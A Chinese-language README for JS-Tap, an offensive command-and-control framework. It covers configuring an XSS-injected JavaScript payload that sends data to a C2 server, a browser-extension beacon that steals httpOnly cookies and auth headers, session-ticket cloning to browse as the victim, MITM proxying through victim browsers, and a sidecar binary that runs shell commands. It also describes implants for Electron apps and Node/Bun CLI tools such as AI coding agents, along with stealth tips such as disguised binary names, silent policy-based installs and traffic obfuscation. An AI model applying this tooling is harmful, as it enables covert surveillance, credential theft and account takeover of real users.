控制 BEX Beacon 中的可选原生消息传递功能。有关完整详细信息,请参见上面的[Sidecar](#sidecar-native-messaging)部分。
| 字段 | 描述 |
|---|---|
| `enabled` | `false` = 不启用原生消息传递(默认)。`true` = 启用 sidecar 支持。向扩展清单添加 `nativeMessaging` 权限。 |
| `host_name` | 原生消息传递主机名称。默认值:`com.jstap.sidecar` |
| `binary_name` | 编译后的 sidecar 二进制文件名称。默认值:`sidecar`。更改此项以在目标系统上隐藏二进制文件(例如 `chrome-helper`)。 |
统一构建脚本会自动将 `extension_ids` 中的扩展 ID 同步到 sidecar 的配置,因此您只需在一个位置配置 ID。
### JS-Tap Payload (telemlib.js) 配置
这些配置变量位于 **initGlobals()** 函数中。
#### JS-Tap 服务器位置
您需要使用 JS-Tap 服务器的 URL 配置有效载荷,以便其连接回该服务器。```
window.taperexfilServer = "https://127.0.0.1:8444";
设置为 trap 或 implant 通过变量设置:``` window.taperMode = "trap"; or window.taperMode = "implant";
#### 陷阱模式起始页面
仅在陷阱模式下需要。请参阅上方**操作模式**部分中的说明。<br>
设置当 iFrame 陷阱被设置时用户启动的页面。```
window.taperstartingPage = "http://targetapp.com/somestartpage";
如果您希望陷阱在当前页面启动,而不是将用户重定向到iframe陷阱中的其他页面,您可以使用:``` window.taperstartingPage = window.location.href;
#### 客户端标签
如果您同时在多个应用或部署中使用 JS-Tap,并希望直观地显示加载了哪个有效载荷,此功能非常有用。请记住,整个 `/payloads` 目录都会被提供,您可以配置多个具有不同模式、起始页面和客户端标签的 JS-Tap 有效载荷。
此标签字符串(请保持简短!)会添加到 JS-Tap 门户中客户端昵称的前面。设置多个有效载荷,每个都针对其使用的应用进行适当配置,并添加一个标签来指示客户端正在运行哪个应用。```
window.taperTag = 'whatever';
用于配置客户端是否检查 自定义负载 任务,以及检查频率。抖动设置 允许你可选地设置下限和上限调整值。将在这两个数值之间随机选取一个值, 并添加到检查延迟中。将它们都设为 0 和 0 以消除抖动。``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000;
#### Client Fingerprinting
启用此功能后,将根据大量客户端属性计算其指纹。此指纹会生成一个非常短的哈希值。通过在 **App SettingS** 中启用该选项,可以选择在客户端卡片上显示该短哈希。客户端列表过滤器可按此指纹进行过滤,以识别可能运行在同一台计算机上的多个 JS-Tap 客户端。请注意,如果企业向用户发放了完全相同的系统,这些系统最终可能具有相同的指纹值。
要在 JS-Tap 负载中启用指纹计算:```
window.taperFingerprint = true;
即使正在计算指纹,也不会在客户端卡片中显示,除非在应用设置中也启用了该功能。
注意,你可以通过指纹哈希过滤客户端列表,以显示最可能是同一台计算机的客户端。
true/false 设置,决定是否获取所查看的每个页面的HTML代码副本。这些获取的HTML文件对于在自动生成表单提交自定义负载时查找CSRF令牌源是必需的。``` window.taperexfilHTML = true;
#### 复制表单提交
设置是否拦截所有表单提交的副本的 true/false 值。```
window.taperexfilFormSubmissions = true;
启用对 XHR 和 Fetch API 的 MonkeyPatch 功能。该功能在陷阱模式下有效。在植入模式下,仅对 Fetch API 进行 MonkeyPatch。MonkeyPatch 允许在运行时重写 JavaScript 代码。启用此功能将重写 JavaScript 代码使用的 XHR 和 Fetch 网络 API,以拦截这些网络调用的内容。请注意,基于 jQuery 和 Ajax 的网络调用将被捕获在 XHR API 中,因为它们在底层使用 XHR 进行网络调用。自动生成 API 调用的自定义有效负载当然依赖于使用此 MonkeyPatch 功能拦截 API 调用。``` window.monkeyPatchAPIs = true;
## JS-Tap 门户
使用服务器脚本启动时提供的管理员凭据登录(也保存到 `adminCreds.txt`)。
### 客户端管理
客户端按类型分组显示在左侧。使用客户端列表顶部的切换按钮在不同视图间切换。
* **Apps** — DOM 信标客户端(来自 telemlib.js payloads)
* **Browsers** — BEX 信标客户端
* **Electrons** — Atom 信标客户端(来自修补过的 Electron 应用)
* **Nodes** — V8 信标客户端(来自 Node.js/Bun CLI 应用)
选择一个客户端会在右侧显示其事件(战利品)的时间序列。如果你过滤列表(例如从 Apps 切换到 Browsers),当前选中的战利品视图会变暗并转为灰度,表示它是“背景”数据。
在 **Browsers** 视图中,详情列标题显示一个 **Loot / Tools** 切换按钮:
* **Loot** 标签 — 显示已访问域名和注入控制的域名卡片。
* **Tools** 标签 — 浏览器代理面板(始终可见)和 Sidecar 面板(可折叠,如果信标支持)。
Atom 信标客户端(在 **Electrons** 视图中)和 V8 信标客户端(在 **Nodes** 视图中)也有 **Loot / Tools** 切换按钮。它们的 Tools 面板提供内置的文件浏览和 shell 访问,无需单独的 sidecar 二进制文件。Atom 信标还额外提供截图控制。
**BEX 信标(浏览器)** 可以展开查看它们访问过的所有域名。你可以从域名列表触发 DOM 信标注入。侧边栏中的 BEX 信标卡片会显示它们成功生成的任何 DOM 信标的摘要。
客户端列表可以按时间排序(首次出现、最后更新),也可以过滤仅显示“星标”客户端。客户端列表上方还有一个快速过滤搜索框,允许你快速过滤包含输入字符串的客户端。如果你在 payload 配置中设置了可选标签,这很有用。可选标签会显示在客户端昵称前面。过滤条件会针对可选标签、昵称、IP 地址、指纹、浏览器、平台、客户端类型、域名和 UUID 进行检查。注意,你可以在搜索词前加上 '!' 来反向过滤。例如,要显示所有非 Firefox 的客户端,使用过滤词 "!firefox"。你可以使用 `&&` 组合多个词进行 AND 逻辑(例如 `linux && chrome && !bex`)。
每个客户端都有一个 'x' 按钮(在星标按钮附近)。这允许你删除该客户端的会话,如果它们发送垃圾或无用的数据,你可以阻止该客户端提交未来的数据。
当 JS-Tap payload 启动时,它会从 JS-Tap 服务器获取一个会话。如果你想停止发布所有新的客户端会话,请选择顶部的 **App Settings**,然后你可以禁用新客户端会话。你还可以启用显示客户端“指纹”,这是非常短的哈希值,应该唯一标识特定系统上用户的浏览器。这有助于识别哪些 JS-Tap 客户端可能实际上是同一个人。注意,必须配置 JS-Tap 客户端执行指纹计算。客户端过滤搜索栏也会搜索指纹字段,因此很容易显示具有相同指纹的客户端。
你还可以在 **App Settings** 中配置电子邮件通知,以在新客户端或客户端有新事件时通知你。这仅基于 SMTP(TLS),你可以将通知邮件发送给多个收件人。"电子邮件延迟"选项可防止持续的垃圾邮件轰炸,您将收到延迟期内所有通知的汇总邮件。
你可以在 **App Settings** 中更改客户端列表自动更新的频率,还可以在此阻止特定 IP 地址接收 JS-Tap 会话。
如果你想更好地隐藏 JS-Tap 网络流量不被检测,请在 **App Settings** 中启用流量混淆。这将适用于使用 HTTPS 且支持 webcrypto API 的应用程序。JS-Tap 客户端将在应用层加密所有流量,并将其发送到 C2 服务器上的单个 API 端点,服务器将解密并在服务器端路由。来自 JS-Tap C2 的响应(例如自定义 payload)也来自这个单一的 API 端点,并且也是加密的。请注意,如果被注入的浏览器不支持 web crypto API,JS-Tap 将回退到传统的非混淆流量。
每个客户端都有一个“笔记”功能。如果你发现该客户端的敏感信息(凭据、API 令牌等),可以将其添加到客户端笔记中。在审查所有客户端并做好笔记后,顶部的 **View All Notes** 功能允许你一次性从所有客户端导出所有笔记。
如果你专注于特定内容(如截图),可以按事件类型过滤事件列表。对于 DOM 信标客户端,事件/战利品列表_不会_自动更新(客户端列表会)——如果你想加载最新事件,需要在左侧再次选择该客户端。Atom 信标和 BEX 信标客户端使用自动刷新的事件视图,该视图会增量追加新事件,而不会重置你的滚动位置。
### BEX 注入
查看信标的域名情报时,你可以点击 **Inject DOM Beacon** 来排队进行注入。
* 一旦请求注入脚本,就会出现 "SUCCESS" 徽章。
* 生成的 DOM 信标的昵称将自动链接并显示在域名卡片和信标的侧边栏卡片上。
* 如果用户当前在目标域名上,注入会立即发生,或者在下次访问时发生。
### JS-Tap 票据与 JS-Tap Conductor(会话克隆)
BEX 信标会捕获目标访问的每个域名的 cookie(包括 httpOnly)、localStorage、sessionStorage 和授权标头。**JS-Tap Tickets** 允许你将所有这些会话数据导出为可移植的 blob,而 **JS-Tap Conductor** 则在你自己的浏览器中重放这些数据,让你可以像受害者一样浏览。
#### 生成 JS-Tap 票据
1. 在 JS-Tap 门户中,选择一个 BEX 信标客户端并展开其域名列表。
2. 点击你要克隆的域名卡片上的 **Session Ticket** 按钮。
3. 票据以 base64 编码字符串的形式复制到剪贴板。
一张票据包含:
- 该域名的所有 cookie(包含 httpOnly、secure、sameSite、path、domain 和过期元数据)
- 捕获的请求标头(Authorization、x-api-key 等)
- localStorage 和 sessionStorage 的键/值对
- 受害者的原始 User-Agent 字符串、平台和浏览器
- 该域名的已访问 URL(最近访问的优先)
**重要提示:** 确保从正确的域名条目生成票据。例如,`reddit.com` 和 `www.reddit.com` 在信标数据中是单独的域名条目——选择保存身份验证 cookie 的那个。
#### 安装 JS-Tap Conductor
JS-Tap Conductor 是一个独立的 Firefox MV2 扩展。**必须使用 Firefox**——它依赖 Firefox 的 MV2 `webRequestBlocking` API 将标头注入到传出请求中,Chrome MV3 不支持此功能。
要将其作为临时扩展加载:
1. 打开 Firefox 并导航到 `about:debugging#/runtime/this-firefox`
2. 点击 **"Load Temporary Add-on..."**
3. 浏览到 `jstap-conductor/` 目录并选择 `manifest.json`
JS-Tap Conductor 图标(JS-Tap 徽标)将出现在 Firefox 工具栏中。临时扩展一直持续到 Firefox 关闭——重启后你需要重新加载。
#### 使用 JS-Tap Conductor
1. 点击工具栏中的 JS-Tap Conductor 图标打开弹出窗口。
2. 将 JS-Tap 票据粘贴到文本区域并点击 **Import**。
3. JS-Tap Conductor 将:
- **设置所有 cookie**,包括 httpOnly cookie(扩展具有此权限)。
- **注册标头注入** — 通过 `webRequest.onBeforeSendHeaders` 将 Authorization 标头和其他捕获的标头注入到每个匹配的请求中。
- **伪装 User-Agent** — 受害者的 User-Agent 字符串将替换你对此域名的所有传出请求标头。
- **填充存储** — 当你导航到该域名时,将写入 localStorage 和 sessionStorage 条目。
- **伪装 navigator API** — 即使你正在运行 Firefox,也会在页面的 JavaScript 上下文中通过 monkeypatch 将 `navigator.userAgent`、`navigator.platform` 和 `navigator.appVersion` 设置为受害者的值。这可以绕过客户端 UA 检查。
4. 点击导入票据上的 **Open** 导航到第一个捕获的 URL,或手动浏览到该域名。
5. 你现在应该以受害者的会话进行浏览。
弹出窗口显示一个**票据历史**(最近 10 张票据),带有 cookie、标头、localStorage 和 sessionStorage 项目的徽章计数。会话票据和代理票据都会出现在历史中。每张票据都可以激活/停用或删除。代理票据通过显示目标端口和域名的 "proxy" 徽章进行视觉区分。
使用 **Deactivate** 禁用票据的会话注入而不丢失它,或使用 **Delete** 永久删除它。
#### 验证是否生效
- **Cookies:** 打开 Firefox DevTools → Storage → Cookies。你应该会看到所有导入的 cookie,包括 httpOnly 的。
- **Headers:** 打开 DevTools → Network 选项卡。检查传出请求的 Authorization 和 User-Agent 标头是否与受害者的值匹配。
- **Storage:** 打开 DevTools → Storage → Local Storage / Session Storage。验证导入的键是否存在。
- **Navigator 伪装:** 打开浏览器控制台并输入 `navigator.userAgent`——它应该返回受害者的 UA 字符串,而不是 Firefox 的。
### 浏览器代理
浏览器代理允许你实时通过受害者的浏览器(或 Node.js/Electron 进程)路由你的浏览器流量。请求将从受害者的网络上下文执行,因此目标站点看到的是受害者的 IP 和 TLS 指纹。
代理支持 **BEX 信标**、**Atom 信标**和 **V8 信标**。
#### 工作原理
1. 在门户中选择一个信标并切换到 **Tools** 标签。
2. 点击浏览器代理面板上的 **Start Proxy**。服务器分配一个本地端口(显示在面板中)。
3. 将你的浏览器配置为使用 `127.0.0.1:<port>` 作为 HTTP/HTTPS 代理。
4. 下载 **CA 证书**并将其安装到浏览器的证书存储中(HTTPS MITM 需要)。
5. 正常浏览——所有请求都会通过信标的 WebSocket 连接转发,并从受害者的网络执行。
代理使用由 JS-Tap CA 签名的动态生成的每域证书执行 TLS 终止。这允许它透明地检查和转发 HTTPS 流量。
#### 可组合工作流
代理是一个“哑管道”——它只转发操作员浏览器发送的内容,不注入或修改凭据。这使得它可以与会话票据组合,实现四种不同的工作流:
| 工作流 | 设置 | 结果 |
|---|---|---|
| **仅代理** | 启动代理,无会话票据 | 通过受害者网络/IP 进行未经身份验证的浏览 |
| **仅会话票据** | 在 Conductor 中导入会话票据,无代理 | 直接从操作员 IP 进行经过身份验证的浏览 |
| **代理 + 会话票据** | 同时激活代理和会话票据 | 通过受害者网络进行经过身份验证的浏览 — Conductor 将 cookie/标头/UA 注入到操作员浏览器,MITM 代理将它们转发给信标 |
| **代理 + 自行登录** | 启动代理,通过代理手动登录 | 操作员自己的会话通过受害者网络 |
对于 **代理 + 会话票据** 工作流,JS-Tap Conductor 处理所有会话注入(cookie、标头、User-Agent、存储、navigator 伪装)。MITM 代理将操作员的完整请求(包括注入的标头)转发给信标,信标从受害者的网络执行 fetch。
#### 代理票据
当代理激活时,你可以点击 **Proxy Ticket** 生成一个 JS-Tap Conductor 兼容的票据,该票据会自动配置 Conductor 的代理设置。在 Conductor 中导入代理票据,即可通过信标路由 Firefox 流量,而无需手动配置代理设置。
### 使用 Sidecar / Tools 面板
当 BEX 信标客户端连接了 Sidecar 时,**Tools** 标签会显示一个 **Sidecar** 面板(默认折叠,位于浏览器代理面板下方)。Atom 信标和 V8 信标客户端则显示相同的面板作为 **Tools**,并带有一个 **Built-in** 徽章(因为 OS 访问是代理的原生功能)。面板包含以下标签:
#### 文件浏览器标签
- 文件浏览器在面板首次加载时自动列出用户的主目录
- 通过点击文件夹名称或 `..` 条目向上浏览目录
- 路径输入框始终反映你当前的位置,可以手动编辑
- 点击文件上的 **Read** 查看其内容(base64 解码并以文本形式显示)
- 点击 **Back to directory listing** 从文件视图返回
- **上传:** 选择一个文件并点击 **Upload** 将其写入当前浏览的目录。上传成功后,列表会自动刷新。最大文件大小为 700 KB。
#### Shell 标签
- 一个交互式终端,跨命令跟踪工作目录(CWD)
- 提示符显示你在目标系统上的当前目录(例如 `/home/user $ `)
- 键入命令并按 **Enter** 或点击 **Run** 执行
- CWD 在命令之间持续存在(`cd /tmp` 后跟 `ls` 将列出 `/tmp`)
- **命令历史:** 使用 **上/下** 箭头键循环浏览之前的命令
- **弹出窗口:** 点击 **Pop Out** 按钮在独立窗口中打开 shell,带有自己的标题栏、完整的命令历史和独立操作
- 输出颜色编码:绿色为提示符,白色为标准输出,红色为标准错误
- CWD 跟踪使用 POSIX shell 语法,适用于 Linux/macOS 目标
#### 截图标签(仅限 Atom 信标)
- **Capture Now** — 手动触发所有被跟踪窗口的截图
- **自动截图开关** — 启用/禁用窗口焦点、导航和新窗口事件时的自动截图
- **冷却时间** — 每个窗口自动截图之间的最小秒数(默认:30,最小:5)
- 点击 **Save Settings** 将开关/冷却时间更改实时推送到代理
**注意:** 命令是异步的。当你发送命令时,UI 会轮询结果。信标/代理必须签入(心跳)以拾取命令并发回结果。使用默认的心跳设置,预计会延迟几秒钟。
### 自定义 Payloads
可以在 JS-Tap 门户中添加多个 JavaScript payloads,并在单个客户端、所有当前客户端上执行,或设置为在所有未来客户端上自动运行。Payloads 可以在 JS-Tap 门户内编写/编辑,也可以从文件导入。Payloads 还可以导出。导入 payloads 的格式是简单的 JSON。JavaScript 代码和描述只是简单的 base64 编码。```
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
如果您的自定义有效载荷需要窃取数据,可以使用customExfil(note, data)方法。在自定义有效载荷中调用此方法会将文本数据发送回JS-Tap,并在战利品数据中显示为事件。
自定义有效载荷的主用户界面位于顶部菜单栏。选择自定义有效载荷打开界面。任何已有的有效载荷将显示在左侧列表中。按钮栏允许您导入和导出列表。有效载荷可以在右侧编辑,不过您可以点击展开代码按钮获得更大的代码编辑面板。要加载已有有效载荷进行编辑,请在已保存有效载荷列表中点击选中。一旦定义并保存了有效载荷,就可以在客户端上执行它们。
在主要自定义有效载荷视图中,您可以针对所有当前客户端启动一个有效载荷(运行按钮)。您还可以开启有效载荷的自动运行属性,这意味着所有新客户端将运行该有效载荷。请注意,现有客户端不会基于自动运行设置运行有效载荷。
您可以开启重复,有效载荷将在每个客户端检查任务时被指派。请记住,客户端检查自定义有效载荷任务的速率是可变的,该速率可以在JS-Tap主要有效载荷配置中更改。该速率可以通过自定义有效载荷更改(调用updateTaskCheckInterval(newDelay)函数)。任务检查延迟的抖动可以通过updateTaskCheckJitter(newTop, newBottom)函数设置。
自定义有效载荷UI中的清除所有任务按钮将从队列中删除所有客户端的所有自定义有效载荷任务,并重置自动/重复运行开关。
要在单个客户端上运行有效载荷,请使用目标客户端上的运行有效载荷按钮,然后点击要使用的特定有效载荷的运行按钮。您还可以对单个客户端设置重复。
目标规则允许您自动对符合特定条件的客户端运行有效载荷,而无需手动选择单个客户端或盲目地对所有客户端运行。
点击有效载荷上的添加规则按钮创建目标规则。规则使用与客户端搜索栏相同的筛选语法:
&&组合条件(例如 linux && chrome)!表示否定(例如 !bex-beacon)示例:linux && chrome && !bex 将匹配所有非BEX信标的Linux Chrome客户端。
保存规则之前,您可以点击预览查看哪些当前连接的客户端会匹配。预览以迷你客户端卡片形式显示,包含与主客户端列表相同的信息(标签/昵称、时间戳、IP、平台、浏览器、域名)。
每个目标规则都有自己的自动运行、重复和运行控件,其工作方式与有效载荷级别的按钮相同,但仅影响匹配规则筛选查询的客户端。您还可以编辑或删除单个规则。一个有效载荷可以有多个目标规则。
JS-Tap包含自动生成自定义有效载荷的能力。此功能利用了拦截表单提交和XHR/Fetch API调用的能力。JS-Tap可以使用这些拦截到的通信作为原型来构建有效载荷。
请求中的参数将由自动生成的有效载荷顶部的变量设置,便于修改正在执行的操作。需要CSRF令牌的表单提交和需要Authorization头的XHR/Fetch API调用将由模仿向导处理;您可以在拦截的表单提交/API调用中选择这些值,JS-Tap将搜索其数据库以确定这些值的来源。
将生成一个有效载荷,首先在用户浏览器中获取这些项目的当前值,因为这些值很可能随时间变化并在不同用户间不同。检索到的值将用于后续请求,该请求将您修改后的参数传递给服务器,以执行被"模仿"的操作。
如果您跳过搜索这些值,请求中没有它们,或者JS-Tap找不到来源,将生成一个使用原始拦截请求中的CSRF令牌和Authorization头值的有效载荷。
要使用模仿功能创建自动生成的有效载荷,请在战利品列的事件卡片上找到拦截到的表单提交或API调用,并点击创建模仿有效载荷按钮。这将打开向导,您可以在其中选择CSRF令牌(用于表单提交)或Authorization头(用于API调用)。您需要将参数/头名称复制到名称字段,令牌值复制到值字段。完成后,点击搜索按钮让JS-Tap确定这些值的存储或检索位置。
如果JS-Tap找到了这些值的来源,点击下一步将生成有效载荷并作为新有效载荷输入C2系统。更改有效载荷名称、描述以及生成代码顶部的参数值为您期望的设置并保存。然后您可以在JS-Tap客户端上运行该有效载荷。
JS-Tap/ ├── buildAll.py # Unified build script (extensions + sidecar + deploy bundles) ├── jsTapServer.py # Flask C2 server (all routes, models, logic) ├── jstapRun.sh # Gunicorn production launcher ├── requirements.txt # Python dependencies ├── index.html # Dashboard HTML ├── login.html # Login page ├── payloads/ │ └── telemlib.js # DOM Beacon payload ├── protectedStatic/ │ └── main.js # All dashboard UI logic ├── proxy/ # Browser Proxy (MITM proxy server) │ ├── server.py # Threaded proxy server, WebSocket relay, MITM TLS │ └── certs.py # Dynamic per-domain certificate generation ├── jstap-conductor/ # Session replay Firefox extension (standalone MV2) │ ├── manifest.json # Firefox MV2 manifest │ ├── icon.svg # Extension icon (JS-Tap logo) │ ├── background/ # Cookie setting, header injection, UA spoofing │ ├── content/ # Storage injection, navigator property spoofing │ └── popup/ # Ticket import UI ├── bex-beacon/ # Browser extension (WXT + legacy) │ ├── config.json # Central configuration (extensions, IDs, sidecar) │ ├── wxt.config.ts # WXT build config │ ├── package.json # Node dependencies │ ├── buildBexBeacon.py # Legacy extension builder │ ├── entrypoints/ │ │ ├── background/ # Service worker (heartbeat, tasks, encryption) │ │ └── content/ # Content script (DOM instrumentation) │ ├── utils/ │ │ ├── config.ts # Config translation + whitelist helpers │ │ ├── crypto.ts # AES-GCM encryption/decryption helpers │ │ ├── proxy.ts # Browser Proxy WebSocket client + fetch relay │ │ └── sidecar.ts # Native messaging module │ ├── src-chrome-extension/ # Legacy Chrome MV3 template │ └── src-firefox-extension/ # Legacy Firefox MV2 template ├── atom-beacon/ # Electron app implant patcher │ ├── atomize.py # Patcher CLI (analyze + patch Electron apps) │ ├── atomize.spec # PyInstaller spec for building atomize.exe (Windows) │ ├── asar.py # Pure-Python ASAR archive handling (extract/pack/patch) │ └── payload/ │ ├── atom-agent.js # Main process agent (C2, encryption, OS access, screenshots) │ └── atom-telemlib.js # Renderer payload (keylogging, DOM capture, network interception) ├── v8-beacon/ # Node.js / Bun CLI implant │ ├── v8ize.py # Build script (template variable replacement) │ └── payload/ │ └── v8-agent.js # V8 Beacon agent (network hooks, stdin capture, C2) ├── plugins/ # Beacon plugins (loaded at runtime via C2) │ ├── example/ # Example plugin template │ │ ├── manifest.json # Plugin metadata (id, name, targetApps, capabilities) │ │ ├── main.js # Plugin entry point (documents full plugin API) │ │ └── ui.html # Optional operator-facing UI panel │ └── mattermost/ # Mattermost-specific plugin ├── sidecar/ # Native messaging Go binary │ ├── main.go # Message loop (native messaging protocol) │ ├── commands.go # Command handlers (list_dir, read_file, exec_cmd) │ ├── go.mod # Go module │ ├── config.json # Auto-synced from central config by buildAll.py │ ├── buildSidecar.py # Cross-compile + generate install scripts │ └── uninstall.sh # Remove sidecar binary + manifests for testing ├── build/ # Build output (gitignored) │ ├── chrome-mv3/ # Unpacked Chrome extension │ ├── firefox-mv2/ # Unpacked Firefox extension │ ├── extension.crx # Packed Chrome extension │ ├── extension.xpi # Packed Firefox extension │ ├── sidecar/ # Sidecar binaries + manifests │ └── deploy/ # Self-contained deploy bundles (.tar.gz/.zip) └── tools/ # Testing utilities ├── clientSimulator.py # Async client simulator (argparse-based) ├── monkeyPatchApp/ # XHR/Fetch monkeypatch test app │ └── monkeyPatchLab.py ├── defconApp/ # XHR test app (defcon level changer) │ └── defconServer.py ├── spaTestApp/ # SPA test app for Fetch API testing │ └── spaServer.py ├── formParser.py # (Legacy) HTML form parser └── generateIntelReport.py # (Legacy) PDF report generator
## 工具
工具子目录中包含了一些工具。
### clientSimulator.py
一个异步客户端模拟器,可创建12个不同的虚拟客户端(各种操作系统/浏览器组合),将其注册到服务器,发送逼真的战利品数据,并轮询自定义payload任务。可用于测试目标规则、匹配过滤、自动运行/重复行为以及自定义payload下发。```bash
python3 tools/clientSimulator.py
选项:``` --server URL JS-Tap server URL (default: https://127.0.0.1:8444) --loot-rounds N Rounds of fake loot per client (default: 2, 0 = continuous) --poll-interval N Seconds between payload polls (default: 3) --no-loot Register and poll only, skip sending fake loot
使用gunicorn运行的JS-Tap扩展性很好。
### MonkeyPatchApp
一个简单的应用,用于测试XHR/Fetch的猴子补丁,但通常也可以提供一个简单的应用来测试payload。
运行方式:```bash
python3 tools/monkeyPatchApp/monkeyPatchLab.py
默认情况下,这将会启动应用程序在以下地址运行:``` https://127.0.0.1:8443
点击“Inject JS-Tap payload”按钮将运行 DOM Beacon 有效负载。此操作适用于植入模式或陷阱模式。您可能需要将 monkeyPatchLab 应用程序指向一个新的 JS-Tap 服务器位置以加载有效负载文件,您可以在 **main.js** 的 **injectPayload()** 函数中找到此设置。```
function injectPayload()
{
document.head.appendChild(Object.assign(document.createElement('script'),
{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}
另一个简单的应用,类似于 MonkeyPatchApp,但此应用中的 XHR API 调用会在应用内产生可见的变化(改变“defcon”级别)。
它还带有一个 Inject JS-Tap payload 按钮,用于模拟 XSS 漏洞利用。所有代码(包括 JavaScript 和 HTML)都包含在 defconServer.py 文件中。
此应用非常适合测试从截获的 XHR 网络调用中自动生成有效载荷。```bash python3 tools/defconApp/defconServer.py
### SpaTestApp
一个使用 Fetch API 调用进行 CRUD 操作的单页应用(SPA)测试应用。适用于测试对基于Fetch的SPA的猴子补丁,并从拦截的API调用自动生成模拟负载。```bash
python3 tools/spaTestApp/spaServer.py
用于分析HTML表单并提取其参数的遗留工具。已被自动生成自定义有效载荷的mimic功能所取代。
遗留工具,在JS-Tap的Web UI之前使用。generateIntelReport脚本会梳理收集的战利品并生成PDF报告。不再可用——大多数战利品现在存储在数据库中,但外泄的HTML代码和截图除外。
@hoodoer
[email protected]
| 信标类型 | 说明 | 如何部署 |
|---|
| DOM Beacon (telemlib.js) | 注入到网页中的 JavaScript 载荷。检测 DOM、捕获用户活动、屏幕截图、网络调用。 | XSS 漏洞,或直接添加到目标应用的 JavaScript 文件中(后渗透)。 |
| BEX Beacon | 浏览器扩展(Chrome MV3 / Firefox MV2)。监控所有浏览活动,捕获 Cookie(包括 httpOnly)、localStorage、sessionStorage 和请求头。可根据命令向特定域名注入 DOM Beacon。 | 安装在目标用户的浏览器中(社会工程、物理访问、策略推送等)。 |
| Sidecar | 在目标操作系统上运行的原生 Go 二进制文件。提供文件系统浏览、文件读取和命令执行功能。 | 通过原生消息与 BEX Beacon 一起安装。需要 BEX Beacon 来中继命令。 |
| Atom Beacon | 用于 Electron 桌面应用的双层植入。注入主进程代理(Node.js 运行时)+ 渲染器载荷到所有应用窗口。结合了浏览器级别的数据收集和主机级别的操作系统访问——无需单独的二进制文件。支持浏览器代理模式。 | 使用 atomize.py 修补目标 Electron 应用的 ASAR 存档(或未打包的应用目录)。 |
| V8 Beacon | 用于 Node.js 和 Bun CLI 应用(Gemini CLI、Claude Code 等)的 JavaScript 代理。拦截所有 HTTP/Fetch 网络调用,捕获按键,并提供文件系统和 shell 访问。零依赖。 | 通过环境变量注入:NODE_OPTIONS="--require"(Node.js)或 BUN_OPTIONS="--preload"(Bun)。无需修补应用。 |
process.stdin用于特定应用攻击的插件: Atom Beacon 和 V8 Beacon 客户端支持运行时加载的插件。插件是从 JS-Tap 门户加载的 JavaScript 模块,用于扩展信标针对特定目标应用(例如 Mattermost 插件)的能力。插件可以访问信标的 Node.js API(fs、http、crypto、child_process)、Electron API(适用于 Atom Beacons)以及返回服务器的数据外泄通道。每个插件包含一个清单(manifest.json),声明其目标应用、能力和操作员可配置的设置,以及一个可选的 UI 面板(ui.html)在门户中显示。
| 浏览器 | 安装方式 | 要求 |
|---|
| Chrome/Chromium(Linux,使用 .crx + 静态 ID) | 写入企业策略,强制从本地 CRX 安装扩展。无需用户交互——扩展将在下次启动时静默安装。 | sudo |
| Chrome/Chromium(macOS,使用 .crx + 静态 ID) | 将 .crx 复制到系统目录,并写入外部扩展 JSON。当 Chrome 警告该扩展时,用户必须点击“保留”。 | sudo |
| Chrome/Chromium(无 .crx) | 将解压后的扩展复制到稳定目录。打印 chrome://extensions 开发者模式的操作说明。 | 无 |
| Chrome(Windows,使用 .crx + 静态 ID) | 复制 .crx 并写入注册表项以实现外部扩展安装。 | 无(用户级注册表) |
| Firefox(使用 .xpi + 扩展 ID) | 自动检测默认 Firefox 配置文件,并将 .xpi 复制到配置文件的 extensions/ 目录。Firefox 会在下次启动时提示用户启用。 | 无 |
| Firefox(无 .xpi) | 将解压后的扩展复制到稳定目录。打印 about:debugging 的操作说明。 | 无 |
| 命令 | 参数 | 描述 |
|---|
list_dir | { path: "/some/path" } | 列出目录内容。如果路径为空,则默认为用户的主目录。返回文件名、大小、类型和修改时间。 |
read_file | { path: "/some/file", offset: 0, limit: 1048576 } | 读取文件内容(base64编码)。每次最多读取1MB。支持大文件的偏移量/限制。 |
exec_cmd | { command: "whoami", timeout: 30 } | 执行 shell 命令。在 Linux/macOS 上使用 /bin/sh -c,在 Windows 上使用 cmd.exe /C。最大超时时间为120秒。返回 stdout、stderr 和退出码。 |
| 字段 | 描述 |
|---|
name | 扩展的显示名称 |
version | 扩展版本(也用于 .crx 外部扩展 JSON)。每次构建时由 buildAll.py 自动递增。 |
description | 浏览器中显示的扩展描述 |
install_dirname | 安装脚本用于在目标系统上存储文件的目录名称(例如 Linux 上为 /opt/<dirname>/,Windows 上为 %LOCALAPPDATA%\<dirname>)。也用于企业策略文件名。选择一些不显眼的名称。默认值:jstap |
| 字段 | 描述 |
|---|
chrome_key | Base64 编码的 DER 公钥。注入为 Chrome 清单中的 key,用于确定性扩展 ID。 |
chrome_key_pem | 指向私钥 .pem 文件的路径(相对于项目根目录)。由构建脚本用于打包 .crx 文件。 |
chrome_extension_id | 32 字符的 Chrome 扩展 ID。如果留空,则从 chrome_key 自动计算。用于 sidecar 原生消息传递清单。 |
firefox_extension_id | Firefox 扩展 ID(例如 bex-beacon@jstap)。注入到 Firefox 清单中作为 browser_specific_settings.gecko.id。 |
5jitter_percent | 应用于基本间隔的抖动百分比。值为 30 意味着每次心跳将在基本间隔的 70% 到 130% 之间的随机时间触发。设置为 0 以禁用抖动(便于调试)。 |
whitelistURL 匹配模式的数组。标准浏览器扩展匹配模式,包含 * 通配符。仅在 whitelist_enabled 为 true 时使用。 |